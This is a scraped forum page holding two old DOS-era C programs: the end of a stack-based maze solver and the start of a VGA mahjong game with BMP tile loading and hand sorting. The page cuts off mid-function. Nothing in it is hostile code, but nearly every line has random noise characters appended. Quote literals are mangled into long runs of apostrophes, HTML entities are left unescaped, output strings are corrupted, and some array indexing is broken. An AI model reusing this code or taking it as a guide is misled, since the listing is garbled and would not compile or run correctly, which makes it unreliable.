- w! M, A) e5 I; P1 ^: A{. o6 {+ z6 G6 _
maze[seat.x][seat.y].mark=-1;
! m, g% _. F. U: i# W/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */6 L# O% `+ X5 k
} /* MarkPrint */9 ~) {1 f, M8 T0 m  C! U
void FootPrint(PosType curpos)
7 P" {) p& Y5 l$ M/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */7 r- d7 d3 U9 e# `, d! s" |! z
{
3 p0 j! k1 E- hmaze[curpos.x][curpos.y].foot=1;
+ o- z+ O4 h1 |- w) b' v5 g} /* FootPrint */5 L- H; _+ L4 y  \- ?
PosType NextPos(PosType seat,int di)
7 N( R1 U. g% [) F- t# l{
3 W3 `: B- e1 Vswitch(di): E8 F1 w& r6 O  ?: o& d# k3 c" e
{9 m; E5 R, J& D' \& C/ Q
case 1: seat.y++; return seat; /* Eastward */
2 ~: g: Y+ \* M( t- |case 2: seat.x++; return seat; /* Southward */
5 u+ o+ }7 ^9 a7 V2 xcase 3: seat.y--; return seat; /* Westward */6 x4 F) C$ {6 V
case 4: seat.x--; return seat; /* Northward */
' D# }# Z0 n2 b' N2 c5 X" G' Sdefault: seat.x=0; seat.y=0; return seat;' I' [8 M% ?; ~7 b: [1 B. H
}
- d4 m5 A/ D7 P. V} /* NextPos */
0 l( Q1 f' ?) h0 ^  q. A
5 r& i. V& t% v/* The key to the program. */+ o7 X. ]' l/ V" Y; z
/* Pre: The maze array &amp; the startplace &amp; the endplace.$ L3 Y6 H+ T$ b6 S6 L& `
Post: Find the one traverse of the maze and perform the mazepath., H- K0 m( x$ R$ e3 T9 G% w
Uses: The ADT stack class.
0 p) W+ ?- E. `" r& x* M+ |. a*/
, w9 B" q& y4 p$ _! J! {+ p. CStatus MazePath(PosType start,PosType end): y+ D' E" Z) `3 b" Y- h
{9 n( C" W' W/ O# ^" h, x; n! X9 e
PosType curpos;
$ X5 w8 i$ ?; e* C4 }int curstep;" n5 j2 L& m* O$ U: I# z
SElemType e;
; m$ D& X, k; b* v  g4 p: g- }/ qStack *s,stack;
/ s# p0 i! b4 K: D- c8 R+ Kstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
* F1 P( y6 {+ J5 N1 U' bif(!stack.base) Error("Overflow");
0 R) ?0 ~6 O5 [+ o. N9 w+ c) cstack.top=stack.base;
! {/ s9 Q4 \. d0 V4 ustack.stacksize=STACK_INIT_SIZE;
7 o/ U- v3 q# O4 t9 s" Gs=&amp;stack;
# R' b0 x2 ]2 t  F& \! Y( ~2 `; h. Jcurpos=start;
: s; n9 n0 `+ }! Lcurstep=1;
( g" L$ T6 M" R4 V* V! ido
* P+ o4 K- Y% S1 h{5 U7 V3 q$ G0 z6 J9 y5 E* b
if(Pass(curpos))
) O/ l( ~& r3 f& A7 }+ i4 G{
( \! d" k7 W  A1 @1 h$ _FootPrint(curpos);
7 M) |3 i( g: I2 [e.ord=curstep; e.seat=curpos; e.di=1;+ A2 \$ j5 R6 i4 Z
gotoxy((curpos.y+1)*2,curpos.x+2);
2 B9 h' {! V: S" r' ^putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');5 T* t8 ~5 N+ B( Q6 @! F* f. J: I! D
delay(8000); /* pospone time. */) Z7 C- \0 v. Z; {. X# y' w
Push(s,e);; s6 Q; `. N: S* H' n. D# o
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
% N* \4 v& c8 w  h" i' i/ r! ]{
! ~( u- g5 h% s) `$ ^DestroyStack(s);
# ~. X# j- z8 x$ wreturn TRUE;
0 M+ i9 H- _. \}/ E  h# @4 D1 z) I  M' p
curpos=NextPos(curpos,1); /* Try next position. */
1 G2 B6 e) L, B) `curstep++;" q$ v. P# p$ F/ R( O) |
}
" R0 M) I) j! ~7 Aelse- S) {4 H- q2 O0 O
{* A' q! D( N7 \+ z; G
if(!StackEmpty(s))9 O. @' C5 j7 ]: \, Y% m
{
# _) K4 _& L4 q( w) ]+ P3 ue=Pop(s,e); /* Removed e from s. */
- D3 k+ O3 Y4 `2 mwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
7 L; p  E4 x$ X6 Y6 yand s is not empty. */6 b6 D  E8 u) F6 k6 S  R
{
6 a' A  {: a! T/ Q6 R( N  {9 \MarkPrint(e.seat);& ~- d. D2 b3 E6 D( l2 v
gotoxy((e.seat.y+1)*2,e.seat.x+2);
1 I2 H2 r' S8 G& B& dputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
  L1 u( {9 [( K+ Tdelay(8000); /* Pospone time. */
  I9 a2 J$ p8 \  B+ s, ?+ `1 }5 Ngotoxy((e.seat.y+1)*2,e.seat.x+2);
. J: m! s+ ~, U. y5 \9 k; Dputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
: u4 t7 F5 G" m) V* G1 A7 B3 q7 \e=Pop(s,e); /* Remove e from s. */+ H: I' R1 T4 X2 K9 n
curstep--;
2 s9 n+ V0 R6 ]- K* p$ F}4 c8 t) p5 o% ~! g' L% M
if(e.di&lt;4) /* The current position hasnot been checked. */
; x( c) z5 L" _5 O2 U{0 K0 Y5 |1 m! o2 A' M
e.di++;* o8 X7 K5 P% @3 F
Push(s,e); /* Insert e into s. */
; K" J+ Q9 B4 H" z) acurpos=NextPos(e.seat,e.di); /* Try next position. */
$ r6 e# {: E% x8 b/ y% n}: G- C" o9 _) T! a
}
, d$ b' K  b* Q; Y}
" {; C, q* B( b" M7 P5 `& i}6 u& T9 d+ A: q
while(!StackEmpty(s));9 d7 H' D  ?3 {" F. v$ L
DestroyStack(s);
4 y6 h$ p/ \( q- H& ~return FALSE;
; K2 U$ m% a1 ^) V} /* MazePath */. b/ @: k  u1 Q, y3 P4 g% V
void main()) ]/ f5 C7 O% m, z% H
{1 C% R" _5 u. W, p5 u" @: X
PosType start,end;* b. x! f5 M) R
CreatMaze();
  }8 \1 b) |- ]# P) s+ Mstart.x=StartPlace.y;' `/ L; r+ D2 C0 D
start.y=StartPlace.x;$ }/ w# p/ y) D+ w
end.x=EndPlace.y;, ^' {7 }( e% g8 x" o
end.y=EndPlace.x;
4 i1 r. r/ a! A6 l# ~* @: yif(MazePath(start,end)), w2 B6 x' Q3 B- h/ q1 J( L: H
{9 O* }; k# E3 m. P& c# E5 M6 I
gotoxy(2,22);
: n& b5 Z5 c% m# E% v0 {6 B* ~printf("ath found\n");
" B8 J+ |4 L$ ]! _) d+ V& l: W}
/ s* A( c+ \$ A% I- m* L# {" Pelse
5 j# \8 [+ u" m2 i) o. `$ Q. ]{0 J/ r4 ~( C0 s+ Q* u
gotoxy(2,22);
- r/ V  y& Q" C. p( P$ B. }printf("ath not found\n");
2 U4 q# Y0 U  S0 J}
% m# a) N( m8 Q! S$ }% G" n6 Tgetch();9 o/ g$ z$ s/ |
clrscr();
! P' I( s4 @7 J' x9 a} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传$ n& e+ c+ E3 I. J! f+ Z% g
/*天宇软件
1 ~% U" o0 a" ^6 n5 _- Z$ e7 o作者:上海黑暗之龙9 O" X$ b; P& G4 L; d# Y4 h4 \
2002/10/30
  M3 P# r$ B8 C5 \# k+ D# G6 g4 }麻将原代码*/8 x9 B9 [/ v9 \2 A( v
#include "dos.h"! q; L+ w+ H1 {6 [% C# l4 A: T5 d
#include "stdio.h"
6 \: a1 A. m% w$ c3 m2 J#include "graphics.h"
, \& T* N$ t1 p5 a1 b  O8 m#include "bios.h"! j: d9 n2 o' O, y: {- a, X
#include "conio.h"
6 @" w" l; b; Y3 t) k- l' ?1 j% q#include "stdlib.h"- a) g0 X, z% \- B( h* D
unsigned char far *video_buffer=(char far *)0xA0000000L;
( v7 a/ ^, c/ ?1 P" _0 X#define VGA256 0x13 /*图形模式13h*/
7 l" }! p. q$ P3 s1 D& d#define TEXT_MODE 0x03 /*普通文本模式*/
6 `6 Q1 s+ }8 V( I2 ^. O#define SETVGA Set_Video_Mode(VGA256); ^  t  S) \9 A' S) d
#define OUTVGA Set_Video_Mode(TEXT_MODE)
  U5 R% y" h& P& x#define BYTE unsigned char; Z- C3 |& |9 k! ~
#define WORD unsigned int
/ R# y5 n! F/ C- W% {2 D#define DWORD unsigned int+ T. X/ i- W* }' r
#define ESC 283  m6 d- M9 D" B; F
#define LEFT 19200
+ f: j- U1 n1 f) `/ S#define RIGHT 19712: K- R7 {. z$ u7 m) W" D, N/ L+ m0 L
#define H 9064
2 u6 W- a5 q0 E3 S1 q. t#define ENTER 71819 f9 \9 G* e9 i( l! ]# G! J
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;" {* r( E( \) ]3 N/ Z
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
4 g# Y, A7 Z, jstruct chi  }. Y+ A* |% e! T8 q1 Y1 I" f
{
/ B. U6 w/ T( d9 t3 B8 |int lg;
; e& F* {" B+ ?! g2 m+ ]. ]int lgg;
$ H" A" |4 q2 }! h}ch[13];" T$ |0 d/ k  R
struct mj
! J, ~  u8 ?2 Q1 F{ char *name; /*名字*/
  v# H9 ], Y3 b3 h) Nint data1; /*是否已出,无用了*/! n3 a( w; \/ S* t9 W
int data2; /*是否在手中,1为自己,2为对方*/, H( x* q' K8 D! l0 ]5 u/ \
int number; /*同一个花色的第几张,共4张*/" g# z& i* n5 p8 J3 n: j
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
! P( g9 z& C: m; b7 u"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
& Q* I& \4 j! b6 H"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,# X; ?( Z; D7 P/ V$ Z4 A- f
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,$ b3 w: Q4 L5 I# |
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
1 q3 W, Y, M$ {: m1 c0 V"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,. E5 h$ L1 [& [8 F3 Z* t. n
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
* R# u0 f" i5 @! {: g; x7 ?"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,7 E/ G% @1 B! E* [; Z  E
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,  ]2 y0 c6 Q9 N8 J  O
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
* `. [2 e+ P" I"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,9 h; o; V9 Z8 j
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
1 d' G/ x+ l, r) V3 }8 d7 B"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,. p; {" d' C6 }; P" G
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
- A4 w9 v: R3 I+ z' k& c"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,# W1 J7 R: G; P8 ]: V
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,% q6 @+ J& A+ |" r( [% X
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,9 M5 ^" f  o! Z' r7 O4 v
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,8 V2 [# ?9 ~: h3 a
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,9 I2 w& u0 v" `- N* t* D" J+ P
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,  Z" Q, D9 Y. a, m4 x7 ~
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
8 ~( j4 S1 b3 V6 C  M"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,# d# L+ Q6 E0 j8 _6 A! c) S
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,' \% [8 \4 ~7 r
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,$ Q6 L9 f, j, s: R! Q+ m
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
; R6 a4 Z2 x  f% E6 C. `' R0 u"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,( h: ~: O# j5 l0 g
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,  ?9 P" D8 N. S1 [: H( q
"34.bmp"};0 \! x4 ~* D) }( f
struct every% k, ^1 {& M; ]
{ int *k; /*名字*/# |' y! U. E+ W3 P' O! n" Z1 b4 @' Z
int oneorfour; /*同一张牌的第几张*/* w0 ?% s6 z' Z% Z5 p
int number; /*第几张牌136*/+ [4 ]: x) ~% _6 }, L
int p;, H: O" x3 @& g+ Q2 [
int g;
: R+ H5 _( m) F6 ^$ `6 ^; ?int c;+ ]8 f6 {) z4 o" `: J
int d[2];) p$ f' Y- b* H' r# s) N
};
. t3 |9 }  q3 K  t* r2 istruct me
5 {4 J  y: ~. j6 F( M+ F9 j{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
) I( c6 I7 T  H7 L0 R9 M9 i: Lint p; /*乓对方*/
/ [1 N2 x- `+ S6 z* F7 a% gint c; /*吃对方*/
: _. G( e3 \; c. }( R, Qint g; /*杠*/
% V( `6 K- u1 S+ w" [  t4 v1 c: ?$ S! s# J. P- ]1 S
struct every pp[14]; /*存放手上的牌*/% Z6 ?+ Z$ d. E4 ~# r
}me;
4 c6 u; l0 X1 j4 ]6 Istruct computer
9 o0 [2 N) N5 `( J( E7 ^2 q* `{ int m;% L5 j7 Q' E5 W
int p;
) y$ t: y+ e+ iint c;; j( `& s6 g) r( I7 ]2 r7 _
int g;
1 Y; o" @4 ~8 K/ V' P. Fstruct every pp[14];5 c' H1 ~' y' B! \' E
}computer,comp;
* z; K5 N( @, F# h1 d% P4 W$ @4 I' }, f) J4 v
/* 设置调色板 */7 `( [4 J( x- c& \* S7 O
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
% `/ H) T% X; O  w# g2 X{
8 {9 @# x9 ?1 C+ Coutportb(0x3c8,Color); /*0x3c8写端口 写色号*/0 M" ]0 O6 z# A
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/* T. I. j* P  ^& @) o/ C
outportb(0x3c9,g);. `+ a) G5 @" L- [  ~5 A
outportb(0x3c9,b);
: m1 r! d5 o! D}
% a) y" b* M2 Q3 v' ]) i% Q( ?/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/& w; x. B1 g9 `- {
/* 设置显示模式的函数 */8 k2 J: U) x; h; a) W3 w
void Set_Video_Mode(int mode)
0 p, Q+ G6 u4 `$ F: e# R{
3 [/ ~  q( H3 f3 Wunion REGS inregs,outregs; /*定义输入和返回寄存器*/8 y+ k- F( Z3 j3 [% z
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/6 t8 ^' K+ S6 `
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/5 ^, U. ~2 Y! Q5 i& V% R8 K  x& _$ u
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/+ @- Y3 ^( n6 P& u' x& g
}
; q3 I7 U2 E, N4 ~5 q/ l8 ?void v_line(int y0,int y1,int x,unsigned int color)2 W+ a5 k2 ?1 {  ^
{ unsigned int address,n,temp;$ }" C( u" v! o
if(y0&gt;y1)
# u) _" ^9 C  u* r, R& g) a6 \7 k{0 a% B# K" T" i+ x
temp=y1;- o) R& v; z) `  A
y1=y0;
0 E  ]  l# S4 C; T; Iy0=temp;
* p  W* C# e; {5 [, b}
: I' u3 t% b- L! p" haddress=320*y0+x;
9 ~. N7 p) q( F2 Qfor(n=0;n&lt;=y1-y0;n++)
% a- g. c. ?9 j9 R# f" @{* y4 [4 j' c( t2 U4 M
video_buffer[address]=color;: k' _+ S7 }6 ^& a: q" y
address+=320;
  t- k: s9 s8 @' J1 Q8 J}
7 T, j* h# J; x4 y}
8 N3 t4 k. D7 }4 avoid h_line(int x0,int x1,int y,unsigned int color)
4 d; u3 @6 s1 O% ~; i8 O9 n0 b0 R/ s7 X{ unsigned int address,n,temp;
# m( {* g7 b) W2 P  Eif(x0&gt;x1)9 x4 \+ D4 o* w( q
{
6 Q$ G( o# N6 e% a- C) ~temp=x1;
$ c# s1 t) C5 \3 u! Nx1=x0;
5 A+ T/ F0 [1 q; Z+ h/ @$ _x0=temp;) H* s5 f# w5 b. L" P
}. `9 i1 o0 u$ Z
address=320*y+x0;
- ]8 \+ `3 U- z6 n" w# I9 p, lfor(n=0;n&lt;=x1-x0;n++)$ d' i# R& o" \( W( U5 U8 g0 ~  t
{
, H; x9 P/ e/ j$ yvideo_buffer[address]=color;
; }& l; Y+ l/ J7 d" Raddress+=1;
0 o- [! ~6 s$ N/ E! B}) l, S* R+ H5 D
}
4 i* i1 T2 R4 R* {7 G- C( \9 c4 Uvoid p_pixel(int x,int y,unsigned int color)
2 i5 n: g- r+ f' b$ z) T# f% P2 p/ X{ video_buffer[y*320+x]=color;
. R( E' q' f0 u$ ?; _! c}# [# H8 v4 T$ C7 L$ r
void s_square(int x,int y,int side,int color)3 T$ H& I3 c% b2 t7 w: V
{
( Y! ?" O1 t6 D$ C# nh_line(x,x+side,y,color);/ e5 ~9 d0 W* b6 |/ O
h_line(x,x+side,y+side,color);; z2 U0 |7 F* }7 x( S
v_line(y,y+side,x,color);( b, M4 a, s6 D' z$ R3 N5 b* g
v_line(y,y+side,x+side,color);
4 c" W+ ^6 Z! B/ J}
0 D1 _! L" S) x. [& @void r_rectangle(int x1,int y1,int x2,int y2,int color)
! ?& `/ E& |- e{) e! g3 O% i0 s2 l1 f4 V! `
h_line(x1,x2,y1,color);8 e0 V( u, a* v  G0 K# Y
h_line(x1,x2,y2,color);0 U- K4 [' h0 V
v_line(y1,y2,x1,color);  |% x4 F( H! y8 v# `2 ]% y9 X3 x8 D
v_line(y1,y2,x2,color);
( w2 N$ W3 }; S. ~  l, t2 l  f8 I) A}) t- _* l3 W* N6 y4 O+ |
void fillRectangle(int x1,int y1,int x2,int y2,int color)
6 Y/ k  B' [; @/ p/ m3 [! g1 N' }{4 S* O" @/ ~* E4 l. |9 o) N# B
int i;
) l6 j4 B- L; W. p2 @5 }for(i=y1;i&lt;=y2;i++)% {; F8 [* u; E. v+ f/ Q9 ~
{
& G% Y" N/ E$ x% l8 Ah_line(x1,x2,i,color);" h7 |9 C9 W" k- s3 b7 D
}5 y8 i% _; B5 _+ D1 h* a' g1 l6 Z
}
& K& R% e8 }+ |2 l7 V3 evoid showbmp(int l)
0 ^' f# f4 J3 `( A{ FILE *bmp;
2 V+ B8 j2 q4 i9 S( |0 Bint i,x,y;
/ f  X5 E/ P# cBYTE palette[256][3];
% u: I3 W# C: M# f- o' G5 }  T1 @bmp=fopen(me.pp[l].k,"rb");
' k% x2 p' h+ u) jfseek(bmp,54,SEEK_SET);
5 {+ t1 f. ?$ N$ ]8 g- gfor(i=0;i&lt;256;i++)
. g! `+ Z9 _( E6 @$ P$ D+ R{; d& o6 {. E9 \- s) P
palette[2]=fgetc(bmp)&gt;&gt;2;7 [2 x" c" X/ X# f7 I/ H* z% l5 |' k
palette[1]=fgetc(bmp)&gt;&gt;2;
+ i1 C- {( J! z* Y/ Dpalette[0]=fgetc(bmp)&gt;&gt;2;
. }2 U- J, F( U, C2 E( _" jfgetc(bmp);
: K! I; ~$ {1 c! a) ^Set_Palette(i,palette[0],palette[1],palette[2]);2 ?* S2 Y/ S3 l3 @3 e
}0 X9 \$ L& H) ^1 c5 q
for (y=0;y&lt;30;y++)
# t5 T  ^; F$ q7 `for(x=0;x&lt;20;x++)
9 [$ E5 Z! d% m, H3 u- P# G; ~pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));2 a! \$ c8 z# z) v# f* B* Z* ]
fclose(bmp);
7 |5 c; I! N' c6 S$ }/ ?}
) M! n) b- Y: z" Uvoid showbmpd(int l)
# V  B- Q9 f/ a$ m2 D{ FILE *bmp;! a7 z( P4 ?% B! K$ L3 \3 g
int i,x,y;& L6 i! w" `9 ?# L
BYTE palette[256][3];
5 {! E% n0 P' b; Z- [/ Dbmp=fopen(me.pp[l].k,"rb");' v' M0 ?1 l% s
fseek(bmp,54,SEEK_SET);
6 l6 e( w3 x* B+ G* Wfor(i=0;i&lt;256;i++)
( V" i6 l# X  [# u# y{
. d( Y0 I) X8 D2 b( r- y- C2 z6 Ipalette[2]=fgetc(bmp)&gt;&gt;2;
3 N: [& N! R& W! T) ypalette[1]=fgetc(bmp)&gt;&gt;2;  P2 F  u' A6 }5 c5 y8 @
palette[0]=fgetc(bmp)&gt;&gt;2;/ A( [7 O+ \8 w1 C+ l$ M- t
fgetc(bmp);
% Y) ]$ R0 S! ^7 i; R+ JSet_Palette(i,palette[0],palette[1],palette[2]);
0 i  T8 {% Z; m; E' \, |1 D7 x: D}
9 R/ z% K; S+ c2 j1 X& g; Ofor (y=0;y&lt;30;y++)5 y- a) H( I5 p' U
for(x=0;x&lt;20;x++)
7 K' d% t, M* w8 Spokeb(0xa000,y*320+x+zyy,fgetc(bmp));0 N; j. V. l( R$ e
fclose(bmp);- n9 e1 O8 c  t# o  O. U% _
}
+ h+ C2 D  z# ^2 Nvoid showybmp(int ll)7 ?# r% i4 q" i1 A' J" K2 m) i
{ FILE *bmp;
" C) z; K+ z  T1 iint i,x,y;# j" p; C6 n6 f
BYTE palette[256][3];5 E; l$ l1 n9 ?+ y' P$ ~
bmp=fopen(computer.pp[ll].k,"rb");
+ @$ W: b. T# x& G- ofseek(bmp,54,SEEK_SET);. d2 e. D3 R2 Y
for(i=0;i&lt;256;i++)* a* g- \9 Z( ], A% k
{$ |# `# C" ?4 p3 z! f
palette[2]=fgetc(bmp)&gt;&gt;2;( t! z, X! z; ^9 x0 A, U' L
palette[1]=fgetc(bmp)&gt;&gt;2;. K& Y' E4 O  _. [
palette[0]=fgetc(bmp)&gt;&gt;2;
- A5 |, [. W2 R4 E1 Lfgetc(bmp);
6 p# _0 _  Q! ZSet_Palette(i,palette[0],palette[1],palette[2]);4 A- P0 e5 n. n, D& {
}
* z0 {2 u( [+ p" S: n; m6 T, Z; O& ofor (y=0;y&lt;30;y++)4 D% G! X+ P' p  t0 N& b/ b
for(x=0;x&lt;20;x++)
7 R% B$ T% M  Y1 `pokeb(0xa000,y*320+x+zy,fgetc(bmp));7 n7 Z7 b" P) q6 L
fclose(bmp);
& E, {: ^! o6 b' l7 w}! Q, [% {: @/ q6 H8 s
void showcbmp(int ll)$ q$ T* r" r* F' ]8 i, C2 W+ Q' {
{ FILE *bmp;
1 l$ v2 \& Q* v$ r& e2 [int i,x,y;# {  x. o+ H* g7 Z7 ^$ ^
BYTE palette[256][3];. @2 W6 R6 i- X& W+ g6 E* j5 J
bmp=fopen(computer.pp[ll].k,"rb");
5 ^5 A9 U+ o1 u, t  d$ N. I$ ~' Nfseek(bmp,54,SEEK_SET);6 E# n& A* {4 k1 W
for(i=0;i&lt;256;i++)% S* L" a6 s8 ]5 r# k* e6 u
{! T. Z8 r9 o' `4 R6 c
palette[2]=fgetc(bmp)&gt;&gt;2;
' k! T: x7 D7 n! E- Tpalette[1]=fgetc(bmp)&gt;&gt;2;; i) o1 g/ H3 E' J
palette[0]=fgetc(bmp)&gt;&gt;2;/ V; A, @8 a4 v: ]0 B" e
fgetc(bmp);, M% O) e3 N, }
Set_Palette(i,palette[0],palette[1],palette[2]);
. K& `) i& N! e/ [3 h4 M( U}
! P6 y4 _, E0 w: ]* V) dfor (y=0;y&lt;30;y++)8 J9 l+ N0 \' h; U4 Y
for(x=0;x&lt;20;x++)  p0 S. p8 P/ W" ^, Q, w/ F1 ?
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));3 k! B& ?0 \0 l4 B" b' `' W
fclose(bmp);- ^7 ?1 ~) C; L2 ^' M" a
}
0 S% e5 B* U$ r+ H1 H3 P; }) V" bvoid bmpp(int number)8 _3 N' A+ q; J6 c
{ FILE *bmp;
( R+ t. w$ a# P: }  N+ Zint i,x,y;
/ n% {% c8 |) s- d9 e8 V' HBYTE palette[256][3];
0 u2 h( @6 R& I0 D* t) @bmp=fopen(m[number].name,"rb");
3 `& ?$ W/ [/ a$ s. Kfseek(bmp,54,SEEK_SET);
6 t! J" G3 B$ ]4 R$ Gfor(i=0;i&lt;256;i++)
( l4 a7 D" g, c4 R7 ]: }3 P! ?{
8 p4 C) }9 ?; p0 P* x" F2 \" ?* @palette[2]=fgetc(bmp)&gt;&gt;2;
7 S8 ~8 p$ q: \4 E* B+ d' S, rpalette[1]=fgetc(bmp)&gt;&gt;2;
/ t. X2 j2 Y' m$ m0 p7 Z- jpalette[0]=fgetc(bmp)&gt;&gt;2;8 n+ M, M# `' [" \
fgetc(bmp);9 k9 P9 _( Z. z
Set_Palette(i,palette[0],palette[1],palette[2]);' w! @) c  c% [
}* q9 w5 b' f5 ]' {% ^# [
for (y=0;y&lt;30;y++)
- C' F! O3 A# i, a; Pfor(x=0;x&lt;20;x++)4 }# D; u5 e1 Y# @$ h  V
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
* E% g' a+ f4 z4 G$ P8 p1 j+ z  Dfclose(bmp);
# [3 z1 u  y' o& L: u8 L}8 m- U: i# R, R2 x$ Q, D4 W* {+ t
void comlipai() /*整理电脑的牌*/$ g$ v  l" ^: b. r' U$ i
{ int n,j,u;7 l* m) D# i- [# ]
int *lingshi;# K. z! L# B1 z& C4 }) Q6 ~5 }
for(n=0;n&lt;computer.m;n++)
4 k' w( p& ~- V$ {5 mfor(j=n;j&lt;computer.m;j++)8 |* ^+ K1 @- h6 g' F6 p
{! B6 L  e  J5 w  U" T5 k& n
if(computer.pp[n].number&gt;computer.pp[j+1].number). f) V0 P: p# M5 N; z0 g" {% Z
{
' }7 s& n8 @* wlingshi=computer.pp[n].k;9 |/ @5 {7 x7 p0 R! P. f/ n2 c
computer.pp[n].k=computer.pp[j+1].k;
1 a1 J9 V# S; ~' ?! z' ]6 Ncomputer.pp[j+1].k=lingshi;( y1 i- `* C! J; F3 i
u=computer.pp[n].oneorfour;
; T8 V0 q5 T6 m& B3 Wcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;. i. o  x) x2 W  |7 c2 ]% U2 b
computer.pp[j+1].oneorfour=u;9 h- I2 K9 K) T! C1 o
u=computer.pp[n].number;
: s2 G" p4 C4 w5 L. Scomputer.pp[n].number=computer.pp[j+1].number;
$ {1 Y5 F' ?5 \$ S+ T6 Icomputer.pp[j+1].number=u;
5 x) Z2 f4 |  y# X+ U9 l}; C5 S, J# y* @$ ?% _: b
else
& C* `/ y+ r7 Z4 G* Q+ [2 f( dif(computer.pp[n].number==computer.pp[j+1].number)  w, \4 h. j% T  ?
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
/ U& O' A( A0 u" g' K% w{$ f7 H/ Z0 }8 @6 P& J- M* k
lingshi=computer.pp[n].k;( N% z5 r$ @% Q' N/ \- }& F
computer.pp[n].k=computer.pp[j+1].k;
, e! s( \/ M/ u$ i5 ncomputer.pp[j+1].k=lingshi;
  x4 @# m: J/ n$ k8 j" j/ lu=computer.pp[n].oneorfour;9 G4 v5 E3 m3 H8 k3 X8 ?5 O# P  ?
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
' C9 b& \" ]' I" tcomputer.pp[j+1].oneorfour=u;3 }! R* j9 T2 H1 f: B: l
u=computer.pp[n].number;$ \" v* N* x) H( D2 {5 [6 K
computer.pp[n].number=computer.pp[j+1].number;
